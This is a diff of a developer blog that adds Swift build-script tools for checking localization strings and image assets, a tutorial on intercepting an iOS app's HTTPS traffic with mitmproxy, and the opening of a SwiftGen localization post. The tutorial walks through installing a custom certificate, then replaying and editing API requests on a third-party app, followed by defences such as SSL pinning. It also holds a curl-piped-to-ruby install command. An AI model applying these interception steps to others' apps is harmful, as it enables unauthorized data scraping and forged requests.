+            let ignoredRegex = try? NSRegularExpression(pattern: ignoredPattern, options: [])
+            if let ignoredMatch = ignoredRegex?.firstMatch(in: line,
+                                                           options: [],
+                                                           range: range) {
+                let key = (line as NSString).substring(with: ignoredMatch.range(at: 1))
+                ignoredTranslation.append(key)
+            }
+
+            if let firstMatch = regex?.firstMatch(in: line, options: [], range: range) {
+                let key = (line as NSString).substring(with: firstMatch.range(at: 1))
+                let value = (line as NSString).substring(with: firstMatch.range(at: 2))
+
+                if keyValue[key] != nil {
+                    let str = "\(path)/\(name).lproj"
+                        + "/Localizable.strings:\(linesNumbers[key]!): "
+                        + "error: [Duplication] \"\(key)\" "
+                        + "is duplicated in \(name.uppercased()) file"
+                    print(str)
+                    numberOfErrors += 1
+                } else {
+                    keyValue[key] = value
+                    linesNumbers[key] = lineNumber + 1
+                }
+            }
+        }
+        print(ignoredFromSameTranslation)
+        ignoredFromSameTranslation[name] = ignoredTranslation
+    }
+
+    func rebuildFileString(from lines: [String]) -> String {
+        return lines.reduce("") { (r: String, s: String) -> String in
+            (r == "") ? (r + s) : (r + "\n" + s)
+        }
+    }
+
+    func removeEmptyLinesFromFile() {
+        let location = "\(path)/\(name).lproj/Localizable.strings"
+        if let string = try? String(contentsOfFile: location, encoding: .utf8) {
+            var lines = string.components(separatedBy: .newlines)
+            lines = lines.filter { $0.trimmingCharacters(in: .whitespaces) != "" }
+            let s = rebuildFileString(from: lines)
+            try? s.write(toFile: location, atomically: false, encoding: .utf8)
+        }
+    }
+
+    func removeCommentsFromFile() {
+        let location = "\(path)/\(name).lproj/Localizable.strings"
+        if let string = try? String(contentsOfFile: location, encoding: .utf8) {
+            var lines = string.components(separatedBy: .newlines)
+            lines = lines.filter { !$0.hasPrefix("//") }
+            let s = rebuildFileString(from: lines)
+            try? s.write(toFile: location, atomically: false, encoding: .utf8)
+        }
+    }
+
+    func sortLinesAlphabetically() {
+        let location = "\(path)/\(name).lproj/Localizable.strings"
+        if let string = try? String(contentsOfFile: location, encoding: .utf8) {
+            let lines = string.components(separatedBy: .newlines)
+
+            var s = ""
+            for (i, l) in sortAlphabetically(lines).enumerated() {
+                s += l
+                if i != lines.count - 1 {
+                    s += "\n"
+                }
+            }
+            try? s.write(toFile: location, atomically: false, encoding: .utf8)
+        }
+    }
+
+    func removeEmptyLinesFromLines(_ lines: [String]) -> [String] {
+        return lines.filter { $0.trimmingCharacters(in: .whitespaces) != "" }
+    }
+
+    func sortAlphabetically(_ lines: [String]) -> [String] {
+        return lines.sorted()
+    }
+}
+
+// MARK: - Load Localisation Files in memory
+
+let masterLocalizationFile = LocalizationFiles(name: masterLanguage)
+let localizationFiles = supportedLanguages
+    .filter { $0 != masterLanguage }
+    .map { LocalizationFiles(name: $0) }
+
+// MARK: - Detect Unused Keys
+
+let sourcesPath = FileManager.default.currentDirectoryPath + relativeSourceFolder
+let fileManager = FileManager.default
+let enumerator = fileManager.enumerator(atPath: sourcesPath)
+var localizedStrings: [String] = []
+while let swiftFileLocation = enumerator?.nextObject() as? String {
+    // checks the extension
+    if swiftFileLocation.hasSuffix(".swift") || swiftFileLocation.hasSuffix(".m") || swiftFileLocation.hasSuffix(".mm") {
+        let location = "\(sourcesPath)/\(swiftFileLocation)"
+        if let string = try? String(contentsOfFile: location, encoding: .utf8) {
+            for p in patterns {
+                let regex = try? NSRegularExpression(pattern: p, options: [])
+                let range = NSRange(location: 0, length: (string as NSString).length) // Obj c wa
+                regex?.enumerateMatches(in: string,
+                                        options: [],
+                                        range: range,
+                                        using: { result, _, _ in
+                                            if let r = result {
+                                                let value = (string as NSString).substring(with: r.range(at: r.numberOfRanges - 1))
+                                                localizedStrings.append(value)
+                                            }
+                })
+            }
+        }
+    }
+}
+
+var masterKeys = Set(masterLocalizationFile.keyValue.keys)
+let usedKeys = Set(localizedStrings)
+let ignored = Set(ignoredFromUnusedKeys)
+let unused = masterKeys.subtracting(usedKeys).subtracting(ignored)
+let untranslated = usedKeys.subtracting(masterKeys)
+
+// Here generate Xcode regex Find and replace script to remove dead keys all at once!
+var replaceCommand = "\"("
+var counter = 0
+for v in unused {
+    var str = "\(path)/\(masterLocalizationFile.name).lproj/Localizable.strings:\(masterLocalizationFile.linesNumbers[v]!): "
+    str += "error: [Unused Key] \"\(v)\" is never used"
+    print(str)
+    numberOfErrors += 1
+    if counter != 0 {
+        replaceCommand += "|"
+    }
+    replaceCommand += v
+    if counter == unused.count - 1 {
+        replaceCommand += ")\" = \".*\";"
+    }
+    counter += 1
+}
+
+print(replaceCommand)
+
+// MARK: - Compare each translation file against master (en)
+
+for file in localizationFiles {
+    for k in masterLocalizationFile.keyValue.keys {
+        if file.keyValue[k] == nil {
+            var str = "\(path)/\(file.name).lproj/Localizable.strings:\(masterLocalizationFile.linesNumbers[k]!): "
+            str += "error: [Missing] \"\(k)\" missing from \(file.name.uppercased()) file"
+            print(str)
+            numberOfErrors += 1
+        }
+    }
+
+    let redundantKeys = file.keyValue.keys.filter { !masterLocalizationFile.keyValue.keys.contains($0) }
+
+    for k in redundantKeys {
+        let str = "\(path)/\(file.name).lproj/Localizable.strings:\(file.linesNumbers[k]!): "
+            + "error: [Redundant key] \"\(k)\" redundant in \(file.name.uppercased()) file"
+
+        print(str)
+    }
+}
+
+if checkForUntranslated {
+    for key in untranslated {
+        var str = "\(path)/\(masterLocalizationFile.name).lproj/Localizable.strings:1: "
+        str += "error: [Missing Translation] \(key) is not translated"
+
+        print(str)
+        numberOfErrors += 1
+    }
+}
+
+print("Number of warnings : \(numberOfWarnings)")
+print("Number of errors : \(numberOfErrors)")
+
+if numberOfErrors > 0 {
+    exit(1)
+}
+
+func shell(_ command: String) -> String {
+    let task = Process()
+    let pipe = Pipe()
+
+    task.standardOutput = pipe
+    task.arguments = ["-c", command]
+    task.launchPath = "/bin/bash"
+    task.launch()
+
+    let data = pipe.fileHandleForReading.readDataToEndOfFile()
+    let output = String(data: data, encoding: .utf8)!
+
+    return output
+}
+

Finally, it’s not over yet!

When our Swift check tool script is fully debugged, we need to compile it into an executable to reduce build time. Otherwise, it will need to be recompiled every time we build (this can reduce the time by about 90%).

Open the terminal and navigate to the directory where the check tool script is located in the project, then execute:

1
+
swiftc -o Localize Localize.swift
+

Then go back to Build Phases and change the Script content path to the executable

EX: ${SRCROOT}/Localize

Done!

Tool 2. Asset Checker 👮 Image Resource Check Tool

Features:

  • Automatically checks during build
  • Checks for missing images: names are called, but the image resource directory does not contain them
  • Checks for redundant images: names are not used, but the image resource directory contains them

Installation Method:

  1. Download the tool’s Swift Script file
  2. Place it in the project directory EX: ${SRCROOT}/AssetChecker.swift
  3. Open project settings → iOS Target → Build Phases → top left “+” → New Run Script Phases → paste the path in the Script content
1
+2
+
${SRCROOT}/AssetChecker.swift ${SRCROOT}/project_directory ${SRCROOT}/Resources/Images.xcassets
+//${SRCROOT}/Resources/Images.xcassets = the location of your .xcassets
+

You can directly set the parameters in the path, parameter 1: project directory location, parameter 2: image resource directory location; or edit the AssetChecker.swift top parameter setting block like the localization check tool:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+
// Configure me \o/
+
+// Project directory location (used to search if images are used in the code)
+var sourcePathOption:String? = nil
+
+// .xcassets directory location
+var assetCatalogPathOption:String? = nil
+
+// Unused warning ignore items
+let ignoredUnusedNames = [String]()
+
  1. Build! Success!

Check Result Prompt Types:

  • Build Error: - [Asset Missing] The item is called in the code but does not appear in the image resource directory
  • Build Warning ⚠️ : - [Asset Unused] The item is not used in the code but appears in the image resource directory p.s. If the image is provided by a dynamic variable, the check tool will not recognize it. You can add it to ignoredUnusedNames as an exception.

Other operations are the same as the localization check tool, so they won’t be repeated here; the most important thing is to remember to compile it into an executable after debugging and change the run script content to the executable!

Develop Your Own Tools!

We can refer to the image resource check tool script:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+63
+64
+65
+66
+67
+68
+69
+70
+71
+72
+73
+74
+75
+76
+77
+78
+79
+80
+81
+82
+83
+84
+85
+86
+87
+88
+89
+90
+91
+92
+93
+94
+95
+96
+97
+98
+99
+100
+101
+102
+103
+104
+105
+106
+107
+108
+109
+110
+111
+112
+113
+114
+115
+116
+117
+118
+119
+120
+121
+122
+123
+124
+125
+126
+
#!/usr/bin/env xcrun --sdk macosx swift
+
+import Foundation
+
+// Configure me \o/
+var sourcePathOption:String? = nil
+var assetCatalogPathOption:String? = nil
+let ignoredUnusedNames = [String]()
+
+for (index, arg) in CommandLine.arguments.enumerated() {
+    switch index {
+    case 1:
+        sourcePathOption = arg
+    case 2:
+        assetCatalogPathOption = arg
+    default:
+        break
+    }
+}
+
+guard let sourcePath = sourcePathOption else {
+    print("AssetChecker:: error: Source path was missing!")
+    exit(0)
+}
+
+guard let assetCatalogAbsolutePath = assetCatalogPathOption else {
+    print("AssetChecker:: error: Asset Catalog path was missing!")
+    exit(0)
+}
+
+print("Searching sources in \(sourcePath) for assets in \(assetCatalogAbsolutePath)")
+
+/* Put here the asset generating false positives, 
+ For instance when you build asset names at runtime
+let ignoredUnusedNames = [
+    "IconArticle",
+    "IconMedia",
+    "voteEN",
+    "voteES",
+    "voteFR"
+] 
+*/
+
+// MARK : - End Of Configurable Section
+func elementsInEnumerator(_ enumerator: FileManager.DirectoryEnumerator?) -> [String] {
+    var elements = [String]()
+    while let e = enumerator?.nextObject() as? String {
+        elements.append(e)
+    }
+    return elements
+}
+
+// MARK: - List Assets
+func listAssets() -> [String] {
+    let extensionName = "imageset"
+    let enumerator = FileManager.default.enumerator(atPath: assetCatalogAbsolutePath)
+    return elementsInEnumerator(enumerator)
+        .filter { $0.hasSuffix(extensionName) }                             // Is Asset
+        .map { $0.replacingOccurrences(of: ".\(extensionName)", with: "") } // Remove extension
+        .map { $0.components(separatedBy: "/").last ?? $0 }                 // Remove folder path
+}
+
+// MARK: - List Used Assets in the codebase
+func localizedStrings(inStringFile: String) -> [String] {
+    var localizedStrings = [String]()
+    let namePattern = "([\\w-]+)"
+    let patterns = [
+        "#imageLiteral\\(resourceName: \"\(namePattern)\"\\)", // Image Literal
+        "UIImage\\(named:\\s*\"\(namePattern)\"\\)", // Default UIImage call (Swift)
+        "UIImage imageNamed:\\s*\\@\"\(namePattern)\"", // Default UIImage call 
+        "\\<image name=\"\(namePattern)\".*", // Storyboard resources
+        "R.image.\(namePattern)\\(\\)" //R.swift support
+    ]
+    for p in patterns {
+        let regex = try? NSRegularExpression(pattern: p, options: [])
+        let range = NSRange(location:0, length:(inStringFile as NSString).length)
+        regex?.enumerateMatches(in: inStringFile,options: [], range: range) { result, _, _ in
+            if let r = result {
+                let value = (inStringFile as NSString).substring(with:r.range(at: 1))
+                localizedStrings.append(value)
+            }
+        }
+    }
+    return localizedStrings
+}
+
+func listUsedAssetLiterals() -> [String] {
+    let enumerator = FileManager.default.enumerator(atPath:sourcePath)
+    print(sourcePath)
+    
+    #if swift(>=4.1)
+        return elementsInEnumerator(enumerator)
+            .filter { $0.hasSuffix(".m") || $0.hasSuffix(".swift") || $0.hasSuffix(".xib") || $0.hasSuffix(".storyboard") }    // Only Swift and Obj-C files
+            .map { "\(sourcePath)/\($0)" }                              // Build file paths
+            .map { try? String(contentsOfFile: $0, encoding: .utf8)}    // Get file contents
+            .compactMap{$0}
+            .compactMap{$0}                                             // Remove nil entries
+            .map(localizedStrings)                                      // Find localizedStrings occurrences
+            .flatMap{$0}                                                // Flatten
+    #else
+        return elementsInEnumerator(enumerator)
+            .filter { $0.hasSuffix(".m") || $0.hasSuffix(".swift") || $0.hasSuffix(".xib") || $0.hasSuffix(".storyboard") }    // Only Swift and Obj-C files
+            .map { "\(sourcePath)/\($0)" }                              // Build file paths
+            .map { try? String(contentsOfFile: $0, encoding: .utf8)}    // Get file contents
+            .flatMap{$0}
+            .flatMap{$0}                                                // Remove nil entries
+            .map(localizedStrings)                                      // Find localizedStrings occurrences
+            .flatMap{$0}                                                // Flatten
+    #endif
+}
+
+// MARK: - Beginning of script
+let assets = Set(listAssets())
+let used = Set(listUsedAssetLiterals() + ignoredUnusedNames)
+
+// Generate Warnings for Unused Assets
+let unused = assets.subtracting(used)
+unused.forEach { print("\(assetCatalogAbsolutePath):: warning: [Asset Unused] \($0)") }
+
+// Generate Error for broken Assets
+let broken = used.subtracting(assets)
+broken.forEach { print("\(assetCatalogAbsolutePath):: error: [Asset Missing] \($0)") }
+
+if broken.count > 0 {
+    exit(1)
+}
+

Compared to the language check script, this script is concise and has all the important functions, making it very valuable for reference!

P.S. You can see the code has the localizedStrings() naming, suspecting the author borrowed the logic from the language check tool and forgot to change the method name XD

Example:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+
for (index, arg) in CommandLine.arguments.enumerated() {
+    switch index {
+    case 1:
+        // Parameter 1
+    case 2:
+        // Parameter 2
+    default:
+        break
+    }
+}
+

^ Method to receive external parameters

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+
func elementsInEnumerator(_ enumerator: FileManager.DirectoryEnumerator?) -> [String] {
+    var elements = [String]()
+    while let e = enumerator?.nextObject() as? String {
+        elements.append(e)
+    }
+    return elements
+}
+
+func localizedStrings(inStringFile: String) -> [String] {
+    var localizedStrings = [String]()
+    let namePattern = "([\\w-]+)"
+    let patterns = [
+        "#imageLiteral\\(resourceName: \"\(namePattern)\"\\)", // Image Literal
+        "UIImage\\(named:\\s*\"\(namePattern)\"\\)", // Default UIImage call (Swift)
+        "UIImage imageNamed:\\s*\\@\"\(namePattern)\"", // Default UIImage call 
+        "\\<image name=\"\(namePattern)\".*", // Storyboard resources
+        "R.image.\(namePattern)\\(\\)" //R.swift support
+    ]
+    for p in patterns {
+        let regex = try? NSRegularExpression(pattern: p, options: [])
+        let range = NSRange(location:0, length:(inStringFile as NSString).length)
+        regex?.enumerateMatches(in: inStringFile,options: [], range: range) { result, _, _ in
+            if let r = result {
+                let value = (inStringFile as NSString).substring(with:r.range(at: 1))
+                localizedStrings.append(value)
+            }
+        }
+    }
+    return localizedStrings
+}
+
+func listUsedAssetLiterals() -> [String] {
+    let enumerator = FileManager.default.enumerator(atPath:sourcePath)
+    print(sourcePath)
+    
+    #if swift(>=4.1)
+        return elementsInEnumerator(enumerator)
+            .filter { $0.hasSuffix(".m") || $0.hasSuffix(".swift") || $0.hasSuffix(".xib") || $0.hasSuffix(".storyboard") }    // Only Swift and Obj-C files
+            .map { "\(sourcePath)/\($0)" }                              // Build file paths
+            .map { try? String(contentsOfFile: $0, encoding: .utf8)}    // Get file contents
+            .compactMap{$0}
+            .compactMap{$0}                                             // Remove nil entries
+            .map(localizedStrings)                                      // Find localizedStrings occurrences
+            .flatMap{$0}                                                // Flatten
+    #else
+        return elementsInEnumerator(enumerator)
+            .filter { $0.hasSuffix(".m") || $0.hasSuffix(".swift") || $0.hasSuffix(".xib") || $0.hasSuffix(".storyboard") }    // Only Swift and Obj-C files
+            .map { "\(sourcePath)/\($0)" }                              // Build file paths
+            .map { try? String(contentsOfFile: $0, encoding: .utf8)}    // Get file contents
+            .flatMap{$0}
+            .flatMap{$0}                                                // Remove nil entries
+            .map(localizedStrings)                                      // Find localizedStrings occurrences
+            .flatMap{$0}                                                // Flatten
+    #endif
+}
+

^Traverse all project files and perform regex matching

1
+2
+3
+4
+
// To make an Error ❌ appear during build:
+print("ProjectFile.lproj" + "/file:line: " + "error: error message")
+// To make a Warning ⚠️ appear during build:
+print("ProjectFile.lproj" + "/file:line: " + "warning: warning message")
+

^print error or warning

You can refer to the above code methods to create your own desired tools.

Summary

After introducing these two checking tools, we can develop more confidently, efficiently, and reduce redundancy; also, this experience has been eye-opening, and in the future, if there are any new build run script requirements, we can directly use the most familiar language, Swift, to create them!

If you have any questions or feedback, feel free to contact me.

===

本文中文版本

===

This article was first published in Traditional Chinese on Medium ➡️ View Here



This post is licensed under CC BY 4.0 by the author.

iOS 14 Clipboard Data Theft Panic: The Dilemma of Privacy and Convenience

Apple Watch Series 6 Unboxing & Two-Year Usage Experience

diff --git a/posts/46410aaada00/index.html b/posts/46410aaada00/index.html new file mode 100644 index 0000000000..c82a5763d1 --- /dev/null +++ b/posts/46410aaada00/index.html @@ -0,0 +1,75 @@ + The APP uses HTTPS for transmission, but the data was still stolen. | ZhgChgLi
Home The APP uses HTTPS for transmission, but the data was still stolen.
Post
Cancel

The APP uses HTTPS for transmission, but the data was still stolen.

The APP uses HTTPS for transmission, but the data was still stolen.

Using mitmproxy on iOS+MacOS to perform a Man-in-the-middle attack to sniff API transmission data and how to prevent it?

Introduction

Recently, we just held an internal CTF competition at the company. While brainstorming for topics, I recalled a project from my university days when I was working on backend (PHP) development. It was a point collection APP with a task list, and upon completing the trigger conditions, it would call an API to earn points. The boss thought that calling the API with HTTPS encrypted transmission was very secure — until I demonstrated a Man-in-the-middle attack, directly sniffing the transmission data and forging API calls to earn points…

In recent years, with the rise of big data, web crawlers are everywhere; the battle between crawlers and anti-crawlers is becoming increasingly intense, with various tricks being used. It’s a constant game of cat and mouse!

Another target for crawlers is the APP’s API. If there are no defenses, it’s almost like leaving the door wide open; it’s not only easy to operate but also clean in format, making it harder to identify and block. So if you’ve exhausted all efforts to block on the web end and data is still being crawled, you might want to check if the APP’s API has any vulnerabilities.

Since I didn’t know how to incorporate this topic into the CTF competition, I decided to write a separate article as a record. This article is just to give a basic concept — HTTPS can be decrypted through certificate replacement and how to enhance security to prevent it. The actual network theory is not my strong suit and has been forgotten, so if you already have a concept of this, you don’t need to spend time reading this article, or just scroll to the bottom to see how to protect your APP!

Practical Operation

Environment: MacOS + iOS

Android users can directly download Packet Capture (free), iOS users can use Surge 4 (paid) to unlock the Man-in-the-middle attack feature, and MacOS users can also use another paid software, Charles.

This article mainly explains how to use the free mitmproxy on iOS. If you have the above environment, you don’t need to go through this trouble. Just open the APP on your phone, mount the VPN, and replace the certificate to perform a Man-in-the-middle attack! (Again, please scroll to the bottom to see how to protect your APP!)

[2021/02/25 Update]: Mac has a new free graphical interface program (Proxyman) that can be used, which can be paired with this article for reference in the first part.

Install mitmproxy

Directly use brew to install:

1
+
brew install mitmproxy
+

Installation complete!

p.s. If you encounter brew: command not found, please first install the brew package management tool:

1
+
/usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"
+

Using mitmproxy

After installation, enter the following command in Terminal to activate:

1
+
mitmproxy
+

Startup Successful

Startup Successful

Ensure the phone and Mac are on the same local network & obtain the Mac’s IP address

Method (1) Mac connects to WiFi, and the phone uses the same WiFi Mac’s IP address = “System Preferences” -> “Network” -> “Wi-Fi” -> “IP Address”

Method (2) Mac uses a wired network, enables Internet Sharing; phone connects to the hotspot network:

System Preferences -> Sharing -> Select "Ethernet" -> Check "Wi-Fi" -> Enable "Internet Sharing"

System Preferences -> Sharing -> Select “Ethernet” -> Check “Wi-Fi” -> Enable “Internet Sharing”

Mac’s IP address = 192.168.2.1 (Note ⚠️ This is not the Ethernet IP, but the IP used by the Mac as a network sharing base station)

Phone network settings WiFi — Proxy server information

Settings -> WiFi -> HTTP Proxy -> Manual -> Enter **Mac's IP address** in Server -> Enter **8080** in Port -> Save

Settings -> WiFi -> HTTP Proxy -> Manual -> Enter Mac’s IP address in Server -> Enter 8080 in Port -> Save

At this point, it is normal for web pages not to open and for certificate errors to appear; let’s continue…

Install mitmproxy custom https certificate

As mentioned above, the way a man-in-the-middle attack works is by using its own certificate to decrypt and encrypt data during communication; so we also need to install this custom certificate on the phone.

1. Open http://mitm.it on the phone’s Safari

Left side appears -> Proxy settings ✅ Right side appears -> Proxy settings error 🚫

Left side appears -> Proxy settings ✅ / Right side appears -> Proxy settings error 🚫

Apple -> Install Profile -> Install

Apple -> Install Profile -> Install

⚠️ It’s not over yet, we need to enable the profile in the About section

General -> About -> Certificate Trust Settings -> Enable mitmproxy

General -> About -> Certificate Trust Settings -> Enable mitmproxy

Done! Now we can go back to the browser and browse web pages normally.

Back to Mac to operate mitmproxy

You can see the data transfer records from the phone on the mitmproxy Terminal

You can see the data transfer records from the phone on the mitmproxy Terminal

Find the record you want to sniff and view the Request (what parameters were sent) Response (what content was returned)

Find the record you want to sniff and view the Request (what parameters were sent) / Response (what content was returned)

Common operation keys:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+
" ? " = View key operation documentation
+" k " / "⬆" = Up 
+" j " / "⬇" = Down 
+" h " / "⬅" = Left 
+" l " / "➡️" = Right 
+" space " = Next page
+" enter " = View details
+" q " = Go back to the previous page/exit
+" b " = Export response body to a specified path text file 
+" f " = Filter records
+" z " = Clear all records
+" e " = Edit Request (cookie, headers, params...)
+" r " = Resend Request
+

Not comfortable with CLI? No worries, you can switch to Web GUI!

Besides the mitmproxy activation method, we can change to:

1
+
mitmweb
+

to use the new Web GUI for operation and observation.

mitmweb

mitmweb

The main event, sniffing APP data:

After setting up and familiarizing yourself with the above environment, you can proceed to our main event; sniffing the data transmission content of the APP API!

Here we use a certain real estate APP as an example, purely for academic exchange with no malicious intent!

We want to know how the API for the object list is requested and what content is returned!

First press "z" to clear all records (to avoid confusion)

First press “z” to clear all records (to avoid confusion)

Open the target APP

Open the target APP

Open the target APP and try “pull to refresh” or trigger the “load next page” action.

🛑If your target APP cannot be opened or connected; sorry, it means the APP has protection measures and cannot be sniffed using this method. Please scroll down to the section on how to protect it🛑

mitmproxy records

mitmproxy records

Go back to mitmproxy to check the records, use your detective skills to guess which API request record is the one we want and enter to view the details!

Request

Request

In the Request section, you can see what parameters were passed in the request.

With “e” to edit and “r” to resend, and observing the Response, you can guess the purpose of each parameter!

Response

Response

The Response section also directly provides the original returned content.

🛑If the Response content is a bunch of codes; sorry, it means the APP might have its own encryption and decryption, making it impossible to sniff using this method. Please scroll down to the section on how to protect it🛑

Hard to read? Chinese garbled text? No problem, you can use “b” to export it as a text file to the desktop, then copy the content to Json Editor Online for parsing!

Or directly use mitmweb to browse and operate using the web GUI

mitmweb

mitmweb

After sniffing, observing, filtering, and testing, you can understand how the APP API works, and thus use it to scrape data.

After collecting the required information, remember to turn off mitmproxy and change the mobile network proxy server back to automatic to use the internet normally.

How should the APP protect itself?

If after setting up mitmproxy, you find that the APP cannot be used or the returned content is encoded, it means the APP has protection.

Method (1):

Generally, it involves placing a copy of the certificate information in the APP. If the current HTTPS certificate does not match the information in the APP, access is denied. For details, you can see this or find related resources on SSL Pinning. The downside might be the need to pay attention to the certificate’s validity period!

[https://medium.com/@dzungnguyen.hcm/ios-ssl-pinning-bffd2ee9efc](https://medium.com/@dzungnguyen.hcm/ios-ssl-pinning-bffd2ee9efc){:target="_blank"}

https://medium.com/@dzungnguyen.hcm/ios-ssl-pinning-bffd2ee9efc

Method (2):

The APP encodes and encrypts the data before transmission. The API backend decrypts it to obtain the original request content. The API response is also encoded and encrypted before being sent back. The APP decrypts the received data to get the response content. This method is cumbersome and inefficient, but it is indeed a way to protect data. As far as I know, some digital banks use this method for protection!

However…

Method 1 still has a way to be cracked: How to Bypass SSL Pinning on iOS 12

Method 2 can also be compromised through reverse engineering to obtain the encryption keys.

⚠️There is no 100% security⚠️

Or simply create a trap to collect evidence and solve it legally (?

As always:

“NEVER TRUST THE CLIENT”

More uses of mitmproxy:

1. Using mitmdump

Besides mitmproxy and mitmweb, mitmdump can directly export all records to a text file:

1
+
mitmdump -w /log.txt
+

You can also use Method (2) with a Python script to set and filter traffic:

1
+
mitmdump -ns examples/filter.py -r /log.txt -w /result.txt
+

2. Use a Python script for request parameter settings, access control, and redirection:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+
from mitmproxy import http
+
+def request(flow: http.HTTPFlow) -> None:
+    # pretty_host takes the "Host" header of the request into account,
+    # which is useful in transparent mode where we usually only have the IP
+    # otherwise.
+    
+    # Request parameter setting Example:
+    flow.request.headers['User-Agent'] = 'MitmProxy'
+    
+    if flow.request.pretty_host == "123.com.tw":
+        flow.request.host = "456.com.tw"
+    # Redirect all access from 123.com.tw to 456.com.tw
+

Redirection example

When starting mitmproxy, add the parameter:

1
+2
+3
+4
+5
+
mitmproxy -s /redirect.py
+or
+mitmweb -s /redirect.py
+or
+mitmdump -s /redirect.py
+

Filling a gap

When using mitmproxy to observe requests using HTTP 1.1 and Accept-Ranges: bytes, Content-Range for long connection segment continuous resource fetching, it will wait until the entire response is received before displaying, rather than showing segments and using persistent connections to continue downloading!

Details here.

Further Reading

Postscript

Since I don’t have domain permissions, I can’t obtain SSL certificate information, so I can’t implement it. The code doesn’t seem difficult, and although there’s no 100% secure method, adding an extra layer of protection can make it safer. Further attacks would require a lot of time to research, which should deter 90% of crawlers!

This article might be a bit low in value. I’ve neglected Medium for a while (playing with a DSLR). Mainly, this is to warm up for iPlayground 2019 this weekend (2019/09/21–2019/09/22). Looking forward to this year’s sessions 🤩, and hope to produce more quality articles after returning!

[Updated on 2019/02/22] What is the Experience of iPlayground 2019?

If you have any questions or feedback, feel free to contact me.

===

本文中文版本

===

This article was first published in Traditional Chinese on Medium ➡️ View Here



This post is licensed under CC BY 4.0 by the author.

How to Create an Engaging Engineering CTF Competition

What was the experience of iPlayground 2019 like?

diff --git a/posts/48a8526c1300/index.html b/posts/48a8526c1300/index.html new file mode 100644 index 0000000000..21ab41f836 --- /dev/null +++ b/posts/48a8526c1300/index.html @@ -0,0 +1,493 @@ + iOS: Insuring Your Multilingual Strings! | ZhgChgLi
Home iOS: Insuring Your Multilingual Strings!
Post
Cancel

iOS: Insuring Your Multilingual Strings!

iOS: Insuring Your Multilingual Strings!

Using SwifGen & UnitTest to ensure the safety of multilingual operations

Photo by [Mick Haupt](https://unsplash.com/es/@rocinante_11?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText){:target="_blank"}

Photo by Mick Haupt

Problem

Plain Text Files

iOS handles multilingual support through Localizable.strings plain text files, unlike Android which uses XML format for management. This means there is a risk of accidentally corrupting or missing language files during daily development. Additionally, multilingual errors are not detected at Build Time and are often only discovered after release when users from a specific region report issues, significantly reducing user confidence.

A previous painful experience involved forgetting to add ; in Localizable.strings due to being too accustomed to Swift. This caused all subsequent strings in a particular language to break after release. An urgent hotfix was needed to resolve the issue.

If there is an issue with multilingual support, the Key will be displayed directly to the user

As shown above, if the DESCRIPTION Key is missing, the app will directly display DESCRIPTION to the user.

Inspection Requirements

  • Ensure the correct format of Localizable.strings (each line must end with ;, valid Key-Value pairs)
  • All multilingual Keys used in the code must have corresponding definitions in Localizable.strings
  • Each language in Localizable.strings must have corresponding Key-Value records
  • Localizable.strings must not have duplicate Keys (otherwise, Values may be accidentally overwritten)

Solution

Using Swift to Write a Comprehensive Inspection Tool

The previous approach was to “ Use Swift to Write Shell Scripts Directly in Xcode! “ referencing the Localize 🏁 tool to develop a Command Line Tool in Swift for external multilingual file inspection. The script was then placed in Build Phases Run Script to perform checks at Build Time.

Advantages: The inspection program is injected externally, not dependent on the project. It can be executed without XCode or building the project, and can pinpoint the exact line in a file where the issue occurs. Additionally, it can perform formatting functions (sorting multilingual Keys A-Z).

Disadvantages: Increases Build Time (~+3 mins), process divergence, and scripts are difficult to maintain or adjust according to project structure. Since this part is not within the project, only the person who added this inspection knows the entire logic, making it hard for other collaborators to touch this part.

Interested readers can refer to the previous article. This article mainly introduces how to achieve all the inspection functions of Localizable.strings through XCode 13 + SwiftGen + UnitTest.

XCode 13 Built-in Build Time Check for Localizable.strings File Format Correctness

After upgrading to XCode 13, it comes with a built-in Build Time check for the Localizable.strings file format. The check is quite comprehensive, and besides missing ;, it will also catch any extra meaningless strings.

Using SwiftGen to Replace the Original NSLocalizedString String Base Access Method

SwiftGen helps us convert the original NSLocalizedString String access method to Object access, preventing typos and missing Key declarations.

SwiftGen is also a Command Line Tool; however, this tool is quite popular in the industry and has comprehensive documentation and community resources for maintenance. There is no need to worry about maintenance issues after introducing this tool.

Installation

You can choose the installation method according to your environment or CI/CD service settings. Here, we will use CocoaPods for a straightforward installation.

Please note that SwiftGen is not really a CocoaPod; it will not have any dependencies on the project’s code. Using CocoaPods to install SwiftGen is simply to download this Command Line Tool executable.

Add the swiftgen pod to the podfile:

1
+
pod 'SwiftGen', '~> 6.0'
+

Init

After pod install, open Terminal and cd to the project directory

1
+
/L10NTests/Pods/SwiftGen/bin/swiftGen config init
+

Initialize the swiftgen.yml configuration file and open it

1
+2
+3
+4
+5
+6
+7
+8
+
strings:
+  - inputs:
+      - "L10NTests/Supporting Files/zh-Hant.lproj/Localizable.strings"
+    outputs:
+      templateName: structured-swift5
+      output: "L10NTests/Supporting Files/SwiftGen-L10n.swift"
+      params:
+        enumName: "L10n"
+

Paste and modify it to fit your project’s format:

inputs: Project localization file location (it is recommended to specify the localization file of the DevelopmentLocalization language)

outputs: output: The location of the converted swift file params: enumName: Object name templateName: Conversion template

You can use swiftGen template list to get the list of built-in templates

flat v.s. structured

flat v.s. structured

The difference is that if the Key style is XXX.YYY.ZZZ, the flat template will convert it to camelCase; the structured template will convert it to XXX.YYY.ZZZ object according to the original style.

Pure Swift projects can directly use the built-in templates, but if it is a Swift mixed with OC project, you need to customize the template:

flat-swift5-objc.stencil:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
